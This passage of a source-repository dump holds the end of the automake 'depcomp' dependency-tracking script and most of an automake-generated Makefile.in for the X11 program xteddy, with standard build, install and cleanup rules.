663 | rm -f "$depfile"
664 | # makedepend may prepend the VPATH from the source file name to the object.
665 | # No need to regex-escape $object, excess matching of '.' is harmless.
666 | sed "s|^.*\($object *:\)|\1|" "$tmpdepfile" > "$depfile"
667 | # Some versions of the HPUX 10.20 sed can't process the last invocation
668 | # correctly. Breaking it into two sed invocations is a workaround.
669 | sed '1,2d' "$tmpdepfile" \
670 | | tr ' ' "$nl" \
671 | | sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' \
672 | | sed -e 's/$/ :/' >> "$depfile"
673 | rm -f "$tmpdepfile" "$tmpdepfile".bak
674 | ;;
675 |
676 | cpp)
677 | # Important note: in order to support this mode, a compiler *must*
678 | # always write the preprocessed file to stdout.
679 | "$@" || exit $?
680 |
681 | # Remove the call to Libtool.
682 | if test "$libtool" = yes; then
683 | while test "X$1" != 'X--mode=compile'; do
684 | shift
685 | done
686 | shift
687 | fi
688 |
689 | # Remove '-o $object'.
690 | IFS=" "
691 | for arg
692 | do
693 | case $arg in
694 | -o)
695 | shift
696 | ;;
697 | $object)
698 | shift
699 | ;;
700 | *)
701 | set fnord "$@" "$arg"
702 | shift # fnord
703 | shift # $arg
704 | ;;
705 | esac
706 | done
707 |
708 | "$@" -E \
709 | | sed -n -e '/^# [0-9][0-9]* "\([^"]*\)".*/ s:: \1 \\:p' \
710 | -e '/^#line [0-9][0-9]* "\([^"]*\)".*/ s:: \1 \\:p' \
711 | | sed '$ s: \\$::' > "$tmpdepfile"
712 | rm -f "$depfile"
713 | echo "$object : \\" > "$depfile"
714 | cat < "$tmpdepfile" >> "$depfile"
715 | sed < "$tmpdepfile" '/^$/d;s/^ //;s/ \\$//;s/$/ :/' >> "$depfile"
716 | rm -f "$tmpdepfile"
717 | ;;
718 |
719 | msvisualcpp)
720 | # Important note: in order to support this mode, a compiler *must*
721 | # always write the preprocessed file to stdout.
722 | "$@" || exit $?
723 |
724 | # Remove the call to Libtool.
725 | if test "$libtool" = yes; then
726 | while test "X$1" != 'X--mode=compile'; do
727 | shift
728 | done
729 | shift
730 | fi
731 |
732 | IFS=" "
733 | for arg
734 | do
735 | case "$arg" in
736 | -o)
737 | shift
738 | ;;
739 | $object)
740 | shift
741 | ;;
742 | "-Gm"|"/Gm"|"-Gi"|"/Gi"|"-ZI"|"/ZI")
743 | set fnord "$@"
744 | shift
745 | shift
746 | ;;
747 | *)
748 | set fnord "$@" "$arg"
749 | shift
750 | shift
751 | ;;
752 | esac
753 | done
754 | "$@" -E 2>/dev/null |
755 | sed -n '/^#line [0-9][0-9]* "\([^"]*\)"/ s::\1:p' | $cygpath_u | sort -u > "$tmpdepfile"
756 | rm -f "$depfile"
757 | echo "$object : \\" > "$depfile"
758 | sed < "$tmpdepfile" -n -e 's% %\\ %g' -e '/^\(.*\)$/ s::'"$tab"'\1 \\:p' >> "$depfile"
759 | echo "$tab" >> "$depfile"
760 | sed < "$tmpdepfile" -n -e 's% %\\ %g' -e '/^\(.*\)$/ s::\1\::p' >> "$depfile"
761 | rm -f "$tmpdepfile"
762 | ;;
763 |
764 | msvcmsys)
765 | # This case exists only to let depend.m4 do its work. It works by
766 | # looking at the text of this script. This case will never be run,
767 | # since it is checked for above.
768 | exit 1
769 | ;;
770 |
771 | none)
772 | exec "$@"
773 | ;;
774 |
775 | *)
776 | echo "Unknown depmode $depmode" 1>&2
777 | exit 1
778 | ;;
779 | esac
780 |
781 | exit 0
782 |
783 | # Local Variables:
784 | # mode: shell-script
785 | # sh-indentation: 2
786 | # eval: (add-hook 'write-file-hooks 'time-stamp)
787 | # time-stamp-start: "scriptversion="
788 | # time-stamp-format: "%:y-%02m-%02d.%02H"
789 | # time-stamp-time-zone: "UTC"
790 | # time-stamp-end: "; # UTC"
791 | # End:
792 |
--------------------------------------------------------------------------------
/Makefile.in:
--------------------------------------------------------------------------------
1 | # Makefile.in generated by automake 1.15 from Makefile.am.
2 | # @configure_input@
3 |
4 | # Copyright (C) 1994-2014 Free Software Foundation, Inc.
5 |
6 | # This Makefile.in is free software; the Free Software Foundation
7 | # gives unlimited permission to copy and/or distribute it,
8 | # with or without modifications, as long as this notice is preserved.
9 |
10 | # This program is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY, to the extent permitted by law; without
12 | # even the implied warranty of MERCHANTABILITY or FITNESS FOR A
13 | # PARTICULAR PURPOSE.
14 |
15 | @SET_MAKE@
16 |
17 |
18 | VPATH = @srcdir@
19 | am__is_gnu_make = { \
20 | if test -z '$(MAKELEVEL)'; then \
21 | false; \
22 | elif test -n '$(MAKE_HOST)'; then \
23 | true; \
24 | elif test -n '$(MAKE_VERSION)' && test -n '$(CURDIR)'; then \
25 | true; \
26 | else \
27 | false; \
28 | fi; \
29 | }
30 | am__make_running_with_option = \
31 | case $${target_option-} in \
32 | ?) ;; \
33 | *) echo "am__make_running_with_option: internal error: invalid" \
34 | "target option '$${target_option-}' specified" >&2; \
35 | exit 1;; \
36 | esac; \
37 | has_opt=no; \
38 | sane_makeflags=$$MAKEFLAGS; \
39 | if $(am__is_gnu_make); then \
40 | sane_makeflags=$$MFLAGS; \
41 | else \
42 | case $$MAKEFLAGS in \
43 | *\\[\ \ ]*) \
44 | bs=\\; \
45 | sane_makeflags=`printf '%s\n' "$$MAKEFLAGS" \
46 | | sed "s/$$bs$$bs[$$bs $$bs ]*//g"`;; \
47 | esac; \
48 | fi; \
49 | skip_next=no; \
50 | strip_trailopt () \
51 | { \
52 | flg=`printf '%s\n' "$$flg" | sed "s/$$1.*$$//"`; \
53 | }; \
54 | for flg in $$sane_makeflags; do \
55 | test $$skip_next = yes && { skip_next=no; continue; }; \
56 | case $$flg in \
57 | *=*|--*) continue;; \
58 | -*I) strip_trailopt 'I'; skip_next=yes;; \
59 | -*I?*) strip_trailopt 'I';; \
60 | -*O) strip_trailopt 'O'; skip_next=yes;; \
61 | -*O?*) strip_trailopt 'O';; \
62 | -*l) strip_trailopt 'l'; skip_next=yes;; \
63 | -*l?*) strip_trailopt 'l';; \
64 | -[dEDm]) skip_next=yes;; \
65 | -[JT]) skip_next=yes;; \
66 | esac; \
67 | case $$flg in \
68 | *$$target_option*) has_opt=yes; break;; \
69 | esac; \
70 | done; \
71 | test $$has_opt = yes
72 | am__make_dryrun = (target_option=n; $(am__make_running_with_option))
73 | am__make_keepgoing = (target_option=k; $(am__make_running_with_option))
74 | pkgdatadir = $(datadir)/@PACKAGE@
75 | pkgincludedir = $(includedir)/@PACKAGE@
76 | pkglibdir = $(libdir)/@PACKAGE@
77 | pkglibexecdir = $(libexecdir)/@PACKAGE@
78 | am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
79 | install_sh_DATA = $(install_sh) -c -m 644
80 | install_sh_PROGRAM = $(install_sh) -c
81 | install_sh_SCRIPT = $(install_sh) -c
82 | INSTALL_HEADER = $(INSTALL_DATA)
83 | transform = $(program_transform_name)
84 | NORMAL_INSTALL = :
85 | PRE_INSTALL = :
86 | POST_INSTALL = :
87 | NORMAL_UNINSTALL = :
88 | PRE_UNINSTALL = :
89 | POST_UNINSTALL = :
90 | bin_PROGRAMS = xteddy$(EXEEXT)
91 | subdir = .
92 | ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
93 | am__aclocal_m4_deps = $(top_srcdir)/configure.in
94 | am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
95 | $(ACLOCAL_M4)
96 | DIST_COMMON = $(srcdir)/Makefile.am $(top_srcdir)/configure \
97 | $(am__configure_deps) $(am__DIST_COMMON)
98 | am__CONFIG_DISTCLEAN_FILES = config.status config.cache config.log \
99 | configure.lineno config.status.lineno
100 | mkinstalldirs = $(SHELL) $(top_srcdir)/mkinstalldirs
101 | CONFIG_CLEAN_FILES =
102 | CONFIG_CLEAN_VPATH_FILES =
103 | am__installdirs = "$(DESTDIR)$(bindir)" "$(DESTDIR)$(man1dir)" \
104 | "$(DESTDIR)$(pixmapdir)"
105 | PROGRAMS = $(bin_PROGRAMS)
106 | am_xteddy_OBJECTS = xteddy.$(OBJEXT)
107 | xteddy_OBJECTS = $(am_xteddy_OBJECTS)
108 | xteddy_DEPENDENCIES =
109 | AM_V_P = $(am__v_P_@AM_V@)
110 | am__v_P_ = $(am__v_P_@AM_DEFAULT_V@)
111 | am__v_P_0 = false
112 | am__v_P_1 = :
113 | AM_V_GEN = $(am__v_GEN_@AM_V@)
114 | am__v_GEN_ = $(am__v_GEN_@AM_DEFAULT_V@)
115 | am__v_GEN_0 = @echo " GEN " $@;
116 | am__v_GEN_1 =
117 | AM_V_at = $(am__v_at_@AM_V@)
118 | am__v_at_ = $(am__v_at_@AM_DEFAULT_V@)
119 | am__v_at_0 = @
120 | am__v_at_1 =
121 | DEFAULT_INCLUDES = -I.@am__isrc@
122 | depcomp = $(SHELL) $(top_srcdir)/depcomp
123 | am__depfiles_maybe = depfiles
124 | am__mv = mv -f
125 | COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \
126 | $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS)
127 | AM_V_CC = $(am__v_CC_@AM_V@)
128 | am__v_CC_ = $(am__v_CC_@AM_DEFAULT_V@)
129 | am__v_CC_0 = @echo " CC " $@;
130 | am__v_CC_1 =
131 | CCLD = $(CC)
132 | LINK = $(CCLD) $(AM_CFLAGS) $(CFLAGS) $(AM_LDFLAGS) $(LDFLAGS) -o $@
133 | AM_V_CCLD = $(am__v_CCLD_@AM_V@)
134 | am__v_CCLD_ = $(am__v_CCLD_@AM_DEFAULT_V@)
135 | am__v_CCLD_0 = @echo " CCLD " $@;
136 | am__v_CCLD_1 =
137 | SOURCES = $(xteddy_SOURCES)
138 | DIST_SOURCES = $(xteddy_SOURCES)
139 | am__can_run_installinfo = \
140 | case $$AM_UPDATE_INFO_DIR in \
141 | n|no|NO) false;; \
142 | *) (install-info --version) >/dev/null 2>&1;; \
143 | esac
144 | am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`;
145 | am__vpath_adj = case $$p in \
146 | $(srcdir)/*) f=`echo "$$p" | sed "s|^$$srcdirstrip/||"`;; \
147 | *) f=$$p;; \
148 | esac;
149 | am__strip_dir = f=`echo $$p | sed -e 's|^.*/||'`;
150 | am__install_max = 40
151 | am__nobase_strip_setup = \
152 | srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*|]/\\\\&/g'`
153 | am__nobase_strip = \
154 | for p in $$list; do echo "$$p"; done | sed -e "s|$$srcdirstrip/||"
155 | am__nobase_list = $(am__nobase_strip_setup); \
156 | for p in $$list; do echo "$$p $$p"; done | \
157 | sed "s| $$srcdirstrip/| |;"' / .*\//!s/ .*/ ./; s,\( .*\)/[^/]*$$,\1,' | \
158 | $(AWK) 'BEGIN { files["."] = "" } { files[$$2] = files[$$2] " " $$1; \
159 | if (++n[$$2] == $(am__install_max)) \
160 | { print $$2, files[$$2]; n[$$2] = 0; files[$$2] = "" } } \
161 | END { for (dir in files) print dir, files[dir] }'
162 | am__base_list = \
163 | sed '$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;s/\n/ /g' | \
164 | sed '$$!N;$$!N;$$!N;$$!N;s/\n/ /g'
165 | am__uninstall_files_from_dir = { \
166 | test -z "$$files" \
167 | || { test ! -d "$$dir" && test ! -f "$$dir" && test ! -r "$$dir"; } \
168 | || { echo " ( cd '$$dir' && rm -f" $$files ")"; \
169 | $(am__cd) "$$dir" && rm -f $$files; }; \
170 | }
171 | man1dir = $(mandir)/man1
172 | NROFF = nroff
173 | MANS = $(man_MANS)
174 | DATA = $(pixmap_DATA)
175 | am__tagged_files = $(HEADERS) $(SOURCES) $(TAGS_FILES) $(LISP)
176 | # Read a list of newline-separated strings from the standard input,
177 | # and print each of them once, without duplicates. Input order is
178 | # *not* preserved.
179 | am__uniquify_input = $(AWK) '\
180 | BEGIN { nonempty = 0; } \
181 | { items[$$0] = 1; nonempty = 1; } \
182 | END { if (nonempty) { for (i in items) print i; }; } \
183 | '
184 | # Make sure the list of sources is unique. This is necessary because,
185 | # e.g., the same source file might be shared among _SOURCES variables
186 | # for different programs/libraries.
187 | am__define_uniq_tagged_files = \
188 | list='$(am__tagged_files)'; \
189 | unique=`for i in $$list; do \
190 | if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
191 | done | $(am__uniquify_input)`
192 | ETAGS = etags
193 | CTAGS = ctags
194 | CSCOPE = cscope
195 | AM_RECURSIVE_TARGETS = cscope
196 | am__DIST_COMMON = $(srcdir)/Makefile.in AUTHORS COPYING ChangeLog \
197 | INSTALL NEWS README compile depcomp install-sh missing \
198 | mkinstalldirs
199 | DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
200 | distdir = $(PACKAGE)-$(VERSION)
201 | top_distdir = $(distdir)
202 | am__remove_distdir = \
203 | if test -d "$(distdir)"; then \
204 | find "$(distdir)" -type d ! -perm -200 -exec chmod u+w {} ';' \
205 | && rm -rf "$(distdir)" \
206 | || { sleep 5 && rm -rf "$(distdir)"; }; \
207 | else :; fi
208 | am__post_remove_distdir = $(am__remove_distdir)
209 | DIST_ARCHIVES = $(distdir).tar.gz
210 | GZIP_ENV = --best
211 | DIST_TARGETS = dist-gzip
212 | distuninstallcheck_listfiles = find . -type f -print
213 | am__distuninstallcheck_listfiles = $(distuninstallcheck_listfiles) \
214 | | sed 's|^\./|$(prefix)/|' | grep -v '$(infodir)/dir$$'
215 | distcleancheck_listfiles = find . -type f -print
216 | ACLOCAL = @ACLOCAL@
217 | AMTAR = @AMTAR@
218 | AM_DEFAULT_VERBOSITY = @AM_DEFAULT_VERBOSITY@
219 | AUTOCONF = @AUTOCONF@
220 | AUTOHEADER = @AUTOHEADER@
221 | AUTOMAKE = @AUTOMAKE@
222 | AWK = @AWK@
223 | CC = @CC@
224 | CCDEPMODE = @CCDEPMODE@
225 | CFLAGS = @CFLAGS@
226 | CPP = @CPP@
227 | CPPFLAGS = @CPPFLAGS@
228 | CYGPATH_W = @CYGPATH_W@
229 | DEFS = @DEFS@
230 | DEPDIR = @DEPDIR@
231 | ECHO_C = @ECHO_C@
232 | ECHO_N = @ECHO_N@
233 | ECHO_T = @ECHO_T@
234 | EXEEXT = @EXEEXT@
235 | INSTALL = @INSTALL@
236 | INSTALL_DATA = @INSTALL_DATA@
237 | INSTALL_PROGRAM = @INSTALL_PROGRAM@
238 | INSTALL_SCRIPT = @INSTALL_SCRIPT@
239 | INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
240 | LDFLAGS = @LDFLAGS@
241 | LIBOBJS = @LIBOBJS@
242 | LIBS = -lX11 -lXext -lXpm -lXtst
243 | LTLIBOBJS = @LTLIBOBJS@
244 | MAKEINFO = @MAKEINFO@
245 | MKDIR_P = @MKDIR_P@
246 | OBJEXT = @OBJEXT@
247 | PACKAGE = @PACKAGE@
248 | PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
249 | PACKAGE_NAME = @PACKAGE_NAME@
250 | PACKAGE_STRING = @PACKAGE_STRING@
251 | PACKAGE_TARNAME = @PACKAGE_TARNAME@
252 | PACKAGE_URL = @PACKAGE_URL@
253 | PACKAGE_VERSION = @PACKAGE_VERSION@
254 | PATH_SEPARATOR = @PATH_SEPARATOR@
255 | SET_MAKE = @SET_MAKE@
256 | SHELL = @SHELL@
257 | STRIP = @STRIP@
258 | VERSION = @VERSION@
259 | XMKMF = @XMKMF@
260 | X_CFLAGS = @X_CFLAGS@
261 | X_EXTRA_LIBS = @X_EXTRA_LIBS@
262 | X_LIBS = @X_LIBS@
263 | X_PRE_LIBS = @X_PRE_LIBS@
264 | abs_builddir = @abs_builddir@
265 | abs_srcdir = @abs_srcdir@
266 | abs_top_builddir = @abs_top_builddir@
267 | abs_top_srcdir = @abs_top_srcdir@
268 | ac_ct_CC = @ac_ct_CC@
269 | am__include = @am__include@
270 | am__leading_dot = @am__leading_dot@
271 | am__quote = @am__quote@
272 | am__tar = @am__tar@
273 | am__untar = @am__untar@
274 | bindir = @bindir@
275 | build_alias = @build_alias@
276 | builddir = @builddir@
277 | datadir = @datadir@
278 | datarootdir = @datarootdir@
279 | docdir = @docdir@
280 | dvidir = @dvidir@
281 | exec_prefix = @exec_prefix@
282 | host_alias = @host_alias@
283 | htmldir = @htmldir@
284 | includedir = @includedir@
285 | infodir = @infodir@
286 | install_sh = @install_sh@
287 | libdir = @libdir@
288 | libexecdir = @libexecdir@
289 | localedir = @localedir@
290 | localstatedir = @localstatedir@
291 | mandir = @mandir@
292 | mkdir_p = @mkdir_p@
293 | oldincludedir = @oldincludedir@
294 | pdfdir = @pdfdir@
295 | prefix = @prefix@
296 | program_transform_name = @program_transform_name@
297 | psdir = @psdir@
298 | runstatedir = @runstatedir@
299 | sbindir = @sbindir@
300 | sharedstatedir = @sharedstatedir@
301 | srcdir = @srcdir@
302 | sysconfdir = @sysconfdir@
303 | target_alias = @target_alias@
304 | top_build_prefix = @top_build_prefix@
305 | top_builddir = @top_builddir@
306 | top_srcdir = @top_srcdir@
307 | xteddy_SOURCES = xteddy.c
308 | HTML_DOC = html/xteddy.html html/xteddy_info.html \
309 | html/images/noise.jpg html/images/xteddy.gif html/images/xteddy.xbm
310 |
311 | xteddy_LDADD = -L/usr/X11R6/lib
312 | man_MANS = xteddy.1
313 | pixmapdir = $(prefix)/include/X11
314 | pixmap_DATA = pixmaps/xteddy_bw.xbm \
315 | pixmaps/xteddy_color.xpm \
316 | pixmaps/xteddy_icon.xbm \
317 | pixmaps/xteddy_mask.xbm \
318 | pixmaps/xpenguin_bw.xbm \
319 | pixmaps/xpenguin_color.xpm \
320 | pixmaps/xpenguin_icon.xbm \
321 | pixmaps/xpenguin_mask.xbm \
322 | pixmaps/teddy_bw.xbm \
323 | pixmaps/teddy_color.xpm \
324 | pixmaps/teddy_icon.xbm \
325 | pixmaps/teddy_mask.xbm
326 |
327 | EXTRA_DIST = xteddy.README configure xteddy.1 autogen.sh \
328 | $(HTML_DOC) $(pixmap_DATA)
329 |
330 | all: all-am
331 |
332 | .SUFFIXES:
333 | .SUFFIXES: .c .o .obj
334 | am--refresh: Makefile
335 | @:
336 | $(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps)
337 | @for dep in $?; do \
338 | case '$(am__configure_deps)' in \
339 | *$$dep*) \
340 | echo ' cd $(srcdir) && $(AUTOMAKE) --gnu'; \
341 | $(am__cd) $(srcdir) && $(AUTOMAKE) --gnu \
342 | && exit 0; \
343 | exit 1;; \
344 | esac; \
345 | done; \
346 | echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu Makefile'; \
347 | $(am__cd) $(top_srcdir) && \
348 | $(AUTOMAKE) --gnu Makefile
349 | Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
350 | @case '$?' in \
351 | *config.status*) \
352 | echo ' $(SHELL) ./config.status'; \
353 | $(SHELL) ./config.status;; \
354 | *) \
355 | echo ' cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__depfiles_maybe)'; \
356 | cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__depfiles_maybe);; \
357 | esac;
358 |
359 | $(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
360 | $(SHELL) ./config.status --recheck
361 |
362 | $(top_srcdir)/configure: $(am__configure_deps)
363 | $(am__cd) $(srcdir) && $(AUTOCONF)
364 | $(ACLOCAL_M4): $(am__aclocal_m4_deps)
365 | $(am__cd) $(srcdir) && $(ACLOCAL) $(ACLOCAL_AMFLAGS)
366 | $(am__aclocal_m4_deps):
367 | install-binPROGRAMS: $(bin_PROGRAMS)
368 | @$(NORMAL_INSTALL)
369 | @list='$(bin_PROGRAMS)'; test -n "$(bindir)" || list=; \
370 | if test -n "$$list"; then \
371 | echo " $(MKDIR_P) '$(DESTDIR)$(bindir)'"; \
372 | $(MKDIR_P) "$(DESTDIR)$(bindir)" || exit 1; \
373 | fi; \
374 | for p in $$list; do echo "$$p $$p"; done | \
375 | sed 's/$(EXEEXT)$$//' | \
376 | while read p p1; do if test -f $$p \
377 | ; then echo "$$p"; echo "$$p"; else :; fi; \
378 | done | \
379 | sed -e 'p;s,.*/,,;n;h' \
380 | -e 's|.*|.|' \
381 | -e 'p;x;s,.*/,,;s/$(EXEEXT)$$//;$(transform);s/$$/$(EXEEXT)/' | \
382 | sed 'N;N;N;s,\n, ,g' | \
383 | $(AWK) 'BEGIN { files["."] = ""; dirs["."] = 1 } \
384 | { d=$$3; if (dirs[d] != 1) { print "d", d; dirs[d] = 1 } \
385 | if ($$2 == $$4) files[d] = files[d] " " $$1; \
386 | else { print "f", $$3 "/" $$4, $$1; } } \
387 | END { for (d in files) print "f", d, files[d] }' | \
388 | while read type dir files; do \
389 | if test "$$dir" = .; then dir=; else dir=/$$dir; fi; \
390 | test -z "$$files" || { \
391 | echo " $(INSTALL_PROGRAM_ENV) $(INSTALL_PROGRAM) $$files '$(DESTDIR)$(bindir)$$dir'"; \
392 | $(INSTALL_PROGRAM_ENV) $(INSTALL_PROGRAM) $$files "$(DESTDIR)$(bindir)$$dir" || exit $$?; \
393 | } \
394 | ; done
395 |
396 | uninstall-binPROGRAMS:
397 | @$(NORMAL_UNINSTALL)
398 | @list='$(bin_PROGRAMS)'; test -n "$(bindir)" || list=; \
399 | files=`for p in $$list; do echo "$$p"; done | \
400 | sed -e 'h;s,^.*/,,;s/$(EXEEXT)$$//;$(transform)' \
401 | -e 's/$$/$(EXEEXT)/' \
402 | `; \
403 | test -n "$$list" || exit 0; \
404 | echo " ( cd '$(DESTDIR)$(bindir)' && rm -f" $$files ")"; \
405 | cd "$(DESTDIR)$(bindir)" && rm -f $$files
406 |
407 | clean-binPROGRAMS:
408 | -test -z "$(bin_PROGRAMS)" || rm -f $(bin_PROGRAMS)
409 |
410 | xteddy$(EXEEXT): $(xteddy_OBJECTS) $(xteddy_DEPENDENCIES) $(EXTRA_xteddy_DEPENDENCIES)
411 | @rm -f xteddy$(EXEEXT)
412 | $(AM_V_CCLD)$(LINK) $(xteddy_OBJECTS) $(xteddy_LDADD) $(LIBS)
413 |
414 | mostlyclean-compile:
415 | -rm -f *.$(OBJEXT)
416 |
417 | distclean-compile:
418 | -rm -f *.tab.c
419 |
420 | @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/xteddy.Po@am__quote@
421 |
422 | .c.o:
423 | @am__fastdepCC_TRUE@ $(AM_V_CC)$(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $<
424 | @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po
425 | @AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
426 | @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
427 | @am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(COMPILE) -c -o $@ $<
428 |
429 | .c.obj:
430 | @am__fastdepCC_TRUE@ $(AM_V_CC)$(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ `$(CYGPATH_W) '$<'`
431 | @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po
432 | @AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
433 | @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
434 | @am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(COMPILE) -c -o $@ `$(CYGPATH_W) '$<'`
435 | install-man1: $(man_MANS)
436 | @$(NORMAL_INSTALL)
437 | @list1=''; \
438 | list2='$(man_MANS)'; \
439 | test -n "$(man1dir)" \
440 | && test -n "`echo $$list1$$list2`" \
441 | || exit 0; \
442 | echo " $(MKDIR_P) '$(DESTDIR)$(man1dir)'"; \
443 | $(MKDIR_P) "$(DESTDIR)$(man1dir)" || exit 1; \
444 | { for i in $$list1; do echo "$$i"; done; \
445 | if test -n "$$list2"; then \
446 | for i in $$list2; do echo "$$i"; done \
447 | | sed -n '/\.1[a-z]*$$/p'; \
448 | fi; \
449 | } | while read p; do \
450 | if test -f $$p; then d=; else d="$(srcdir)/"; fi; \
451 | echo "$$d$$p"; echo "$$p"; \
452 | done | \
453 | sed -e 'n;s,.*/,,;p;h;s,.*\.,,;s,^[^1][0-9a-z]*$$,1,;x' \
454 | -e 's,\.[0-9a-z]*$$,,;$(transform);G;s,\n,.,' | \
455 | sed 'N;N;s,\n, ,g' | { \
456 | list=; while read file base inst; do \
457 | if test "$$base" = "$$inst"; then list="$$list $$file"; else \
458 | echo " $(INSTALL_DATA) '$$file' '$(DESTDIR)$(man1dir)/$$inst'"; \
459 | $(INSTALL_DATA) "$$file" "$(DESTDIR)$(man1dir)/$$inst" || exit $$?; \
460 | fi; \
461 | done; \
462 | for i in $$list; do echo "$$i"; done | $(am__base_list) | \
463 | while read files; do \
464 | test -z "$$files" || { \
465 | echo " $(INSTALL_DATA) $$files '$(DESTDIR)$(man1dir)'"; \
466 | $(INSTALL_DATA) $$files "$(DESTDIR)$(man1dir)" || exit $$?; }; \
467 | done; }
468 |
469 | uninstall-man1:
470 | @$(NORMAL_UNINSTALL)
471 | @list=''; test -n "$(man1dir)" || exit 0; \
472 | files=`{ for i in $$list; do echo "$$i"; done; \
473 | l2='$(man_MANS)'; for i in $$l2; do echo "$$i"; done | \
474 | sed -n '/\.1[a-z]*$$/p'; \
475 | } | sed -e 's,.*/,,;h;s,.*\.,,;s,^[^1][0-9a-z]*$$,1,;x' \
476 | -e 's,\.[0-9a-z]*$$,,;$(transform);G;s,\n,.,'`; \
477 | dir='$(DESTDIR)$(man1dir)'; $(am__uninstall_files_from_dir)
478 | install-pixmapDATA: $(pixmap_DATA)
479 | @$(NORMAL_INSTALL)
480 | @list='$(pixmap_DATA)'; test -n "$(pixmapdir)" || list=; \
481 | if test -n "$$list"; then \
482 | echo " $(MKDIR_P) '$(DESTDIR)$(pixmapdir)'"; \
483 | $(MKDIR_P) "$(DESTDIR)$(pixmapdir)" || exit 1; \
484 | fi; \
485 | for p in $$list; do \
486 | if test -f "$$p"; then d=; else d="$(srcdir)/"; fi; \
487 | echo "$$d$$p"; \
488 | done | $(am__base_list) | \
489 | while read files; do \
490 | echo " $(INSTALL_DATA) $$files '$(DESTDIR)$(pixmapdir)'"; \
491 | $(INSTALL_DATA) $$files "$(DESTDIR)$(pixmapdir)" || exit $$?; \
492 | done
493 |
494 | uninstall-pixmapDATA:
495 | @$(NORMAL_UNINSTALL)
496 | @list='$(pixmap_DATA)'; test -n "$(pixmapdir)" || list=; \
497 | files=`for p in $$list; do echo $$p; done | sed -e 's|^.*/||'`; \
498 | dir='$(DESTDIR)$(pixmapdir)'; $(am__uninstall_files_from_dir)
499 |
500 | ID: $(am__tagged_files)
501 | $(am__define_uniq_tagged_files); mkid -fID $$unique
502 | tags: tags-am
503 | TAGS: tags
504 |
505 | tags-am: $(TAGS_DEPENDENCIES) $(am__tagged_files)
506 | set x; \
507 | here=`pwd`; \
508 | $(am__define_uniq_tagged_files); \
509 | shift; \
510 | if test -z "$(ETAGS_ARGS)$$*$$unique"; then :; else \
511 | test -n "$$unique" || unique=$$empty_fix; \
512 | if test $$# -gt 0; then \
513 | $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
514 | "$$@" $$unique; \
515 | else \
516 | $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
517 | $$unique; \
518 | fi; \
519 | fi
520 | ctags: ctags-am
521 |
522 | CTAGS: ctags
523 | ctags-am: $(TAGS_DEPENDENCIES) $(am__tagged_files)
524 | $(am__define_uniq_tagged_files); \
525 | test -z "$(CTAGS_ARGS)$$unique" \
526 | || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \
527 | $$unique
528 |
529 | GTAGS:
530 | here=`$(am__cd) $(top_builddir) && pwd` \
531 | && $(am__cd) $(top_srcdir) \
532 | && gtags -i $(GTAGS_ARGS) "$$here"
533 | cscope: cscope.files
534 | test ! -s cscope.files \
535 | || $(CSCOPE) -b -q $(AM_CSCOPEFLAGS) $(CSCOPEFLAGS) -i cscope.files $(CSCOPE_ARGS)
536 | clean-cscope:
537 | -rm -f cscope.files
538 | cscope.files: clean-cscope cscopelist
539 | cscopelist: cscopelist-am
540 |
541 | cscopelist-am: $(am__tagged_files)
542 | list='$(am__tagged_files)'; \
543 | case "$(srcdir)" in \
544 | [\\/]* | ?:[\\/]*) sdir="$(srcdir)" ;; \
545 | *) sdir=$(subdir)/$(srcdir) ;; \
546 | esac; \
547 | for i in $$list; do \
548 | if test -f "$$i"; then \
549 | echo "$(subdir)/$$i"; \
550 | else \
551 | echo "$$sdir/$$i"; \
552 | fi; \
553 | done >> $(top_builddir)/cscope.files
554 |
555 | distclean-tags:
556 | -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags
557 | -rm -f cscope.out cscope.in.out cscope.po.out cscope.files
558 |
559 | distdir: $(DISTFILES)
560 | $(am__remove_distdir)
561 | test -d "$(distdir)" || mkdir "$(distdir)"
